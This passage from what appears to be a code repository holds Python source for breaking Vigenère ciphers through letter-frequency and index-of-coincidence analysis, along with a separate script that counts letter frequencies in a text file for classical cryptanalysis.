'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285,
'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742,
'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032,
'Z':1.002, 'max_val':16.693, 'kappa':0.0767
}
__italian_data = {
'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24,
'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035,
'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11,
'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76,
'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048,
'Z':0.958, 'max_val':11.57, 'kappa':0.0733
}
__portuguese_data = {
'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72,
'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317,
'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90,
'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63,
'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165,
'Z':0.400, 'max_val':13.89, 'kappa':0.0745
}
__spanish_data = {
'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89,
'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461,
'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58,
'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49,
'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14,
'Z':0.324, 'max_val':13.89, 'kappa':0.0766
}
# The default language is set to English.
__lang = 'EN'
__lang_data = __english_data
# This method sets the lang (__lang) attribute of a VigCrack object.
def set_language(self, language):
self.__lang = language.upper()
if self.__lang == 'DE':
self.__lang_data = self.__german_data
elif self.__lang == 'ES':
self.__lang_data = self.__spanish_data
elif self.__lang == 'FR':
self.__lang_data = self.__french_data
elif self.__lang == 'IT':
self.__lang_data = self.__italian_data
elif self.__lang == 'PT':
self.__lang_data = self.__portuguese_data
else:
self.__lang = 'EN'
return self
# Rotate text n places to the right, wrapping around at the end.
def __rotate_right(self, n):
cutting_point = len(self) - (n % len(self))
return self[cutting_point:] + self[:cutting_point]
# Get every nth char from a piece of text, from a given starting position.
def __get_every_nth_char(self, start, n):
accumulator = []
for i in range(len(self)):
if (i % n) == start:
accumulator.append(self[i])
return VigCrack(''.join(accumulator)).set_language(self.__lang)
# Build a dictionary containing the number of occurrences of each char.
def __count_char_freqs(self):
dictionary = {}
self = self.upper()
for char in self:
if char.isalpha():
dictionary[char] = dictionary.get(char, 0) + 1
return dictionary
# Scale the dictionary so that it can be compared with __lang_data.
def __scale(self, dictionary):
v = dictionary.values()
v.sort()
max_val = v[-1]
scaling_factor = self.__lang_data['max_val']/max_val
for (k, v) in dictionary.items():
dictionary[k] = v*scaling_factor
return dictionary
# The residual error is the difference between a char's frequency in
# __lang_data and its frequency in the scaled dictionary from above.
# The error is then squared to remove a possible negative value.
def __sum_residuals_squared(self, dictionary):
sum = 0
for (k, v) in dictionary.items():
sum += (v - self.__lang_data[k])**2
return sum
# Find the Caesar shift that brings the ciphertext closest to the
# character distribution of the plaintext's language.
def __find_best_caesar_shift(self):
best = 0
smallest_sum = -1
# Find the residual sum for each shift.
for shift in range(26):
encoded_text = Caesar(self).encipher(shift)
vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang)
char_freqs = vigcrack_obj.__count_char_freqs()
scaled = vigcrack_obj.__scale(char_freqs)
current_sum = vigcrack_obj.__sum_residuals_squared(scaled)
# Keep track of the shift with the lowest residual sum.
# If there's a tie, the smallest shift wins.
if smallest_sum == -1:
smallest_sum = current_sum
if current_sum < smallest_sum:
best = shift
smallest_sum = current_sum
return best
def __find_codeword_length(self, min_length, max_length):
codeword_length = min_length
kappas = []
# Put the kappa value for each codeword length tested into an array.
for i in range(min_length, max_length + 1):
temp = self.__rotate_right(i)
coincidences = 0
for j in range(len(self)):
if temp[j] == self[j]:
coincidences += 1
kappas.append(float(coincidences)/len(self))
# Find out which value of kappa is closest to the kappa of the
# plaintext's language. If there's a tie, the shortest codeword wins.
smallest_squared_diff = -1
for i in range((max_length + 1) - min_length):
current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2
if smallest_squared_diff == -1:
smallest_squared_diff = current_squared_diff
if current_squared_diff < smallest_squared_diff:
codeword_length = min_length + i
smallest_squared_diff = current_squared_diff
return codeword_length
def __find_codeword(self, min_length, max_length):
# Strip away invalid chars.
accumulator = []
for char in self:
if char.isalpha():
accumulator.append(char)
alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang)
codeword_length = alpha_only.__find_codeword_length(min_length,
max_length)
# Build the codeword by finding one character at a time.
codeword = []
for i in range(codeword_length):
temp = alpha_only.__get_every_nth_char(i, codeword_length)
shift = temp.__find_best_caesar_shift()
if shift == 0:
codeword.append('A')
else:
codeword.append(chr(ord('A') + (26 - shift)))
return VigCrack(''.join(codeword)).set_language(self.__lang)
def __parse_args(self, *arg_list):
if len(arg_list) == 0: # Use default values for codeword length.
min_length = self.__default_min_codeword_length
max_length = self.__default_max_codeword_length
elif len(arg_list) == 1: # Exact codeword length specified by user.
min_length = max_length = int(arg_list[0])
else: # min_length and max_length given by user.
min_length = int(arg_list[0])
max_length = int(arg_list[1])
# Check for input errors.
if min_length == max_length:
if min_length < 1:
raise InputError('Codeword length is too small')
else:
if min_length < 1:
raise InputError('min_length is too small')
if max_length < 1:
raise InputError('max_length is too small')
if max_length < min_length:
raise InputError('max_length cannot be shorter than min_length')
if len(self) == 0:
raise InputError('Ciphertext is empty')
if len(self) < max_length:
raise InputError('Ciphertext is too short')
# Check that the ciphertext contains at least one valid character.
has_valid_char = False
for char in self:
if char.isalpha():
has_valid_char = True
break
if not has_valid_char:
raise InputError('No valid characters in ciphertext')
# If everything's all right, return the min_length and max_length.
return [min_length, max_length]
def crack_codeword(self, *arg_list):
"""
Try to find the codeword that encrypted the ciphertext object.
If no arguments are supplied, codewords between the default minimum
length and the default maximum length are tried.
If one integer argument is supplied, only codewords with that length
will be tried.
If two integer arguments are given then the first argument is treated
as a minimum codeword length, and the second argument is treated as a
maximum codeword length, to try.
"""
array = self.__parse_args(*arg_list)
return self.__find_codeword(array[0], array[1])
def crack_message(self, *arg_list):
"""
Try to decode the ciphertext object.
This method accepts arguments in the same way as the crack_codeword()
method.
"""
codeword = self.crack_codeword(*arg_list)
return self.decipher(codeword)
# History
# -------
#
# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code
# more compliant with the Python Style Guide
# (http://www.python.org/dev/peps/pep-0008/).
#
# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES),
# French (FR), Italian (IT), and Portuguese (PT).
#
# 2006-04-29: v 0.1. First release.
#
#
#
# License
# -------
#
# Copyright (c) 2006, Simon Liu <webmonkey at smurfoncrack dot com>
# All rights reserved.
#
# This library incorporates code from the PyCipher project on SourceForge.net
# (http://sourceforge.net/projects/pycipher/). The original copyright notice
# is preserved below as required; these modifications are released under the
# same terms.
#
#
# Copyright (c) 2005, Aggelos Orfanakos <csst0266atcsdotuoidotgr>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View file

@ -0,0 +1,87 @@
#!/usr/bin/env python
__author__ = "Mari Wahl"
__email__ = "marina.w4hl@gmail.com"
'''
This program calculate the frequency of letters in a files
so we can use this for cryptoanalysis later.
For example, the 10 most frequent words in english:
e -> 0.104
t -> 0.072
a -> 0.065
0 -> 0.059
n -> 0.056
i -> 0.055
s -> 0.051
r -> 0.049
h -> 0.049
d -> 0.034
'''
import chardet
from collections import defaultdict
# calculate the mean values from the table
def taste_like_english(dict_mean, word):
mean_word = 0
counter = 0
for c in word:
if c in dict_mean.keys():
mean_word += dict_mean[c]
counter += 1
return mean_word/counter
# count number of letters
def count_letters(FILE):
dict_letters = defaultdict(int)
with open(FILE) as file:
for line in file:
for word in line.lower().split():
for c in word:
if c!='!' and c!="," and c!="-" and c!="."\
and c!=";" and chardet.detect(c)['encoding'] == 'ascii':
dict_letters[c] += 1
return dict_letters
# calculate the frequency for the letters
def calculate_mean(dict_letters):
dict_mean = defaultdict(float)
sum_all = sum(dict_letters.values())
for letter in sorted(dict_letters.keys()):
dict_mean[letter] = float(dict_letters[letter])/sum_all
return dict_mean
# first, test letters with official values
def test_values():
dict_letters_test = {'e':0.104, 't':0.072, 'a':0.065, 'o':0.059, \
'n': 0.056, 'i': 0.055, 's':0.051, 'r':0.049, 'h':0.049, 'd':0.034}
print('Test for "english": ', taste_like_english(dict_letters_test, 'english')) # == 0.045"
# now, test with some file, creating dictionary of letters
def test_file():
dict_letters = count_letters(FILE)
dict_mean = calculate_mean(dict_letters)
for key in sorted(dict_mean, key=dict_mean.get, reverse=True):
print(key + ' --> ' + str(dict_mean[key]))
if __name__ == '__main__':
test_values()
FILE = 'Ariel_Sylvia_Plath.txt'
test_file()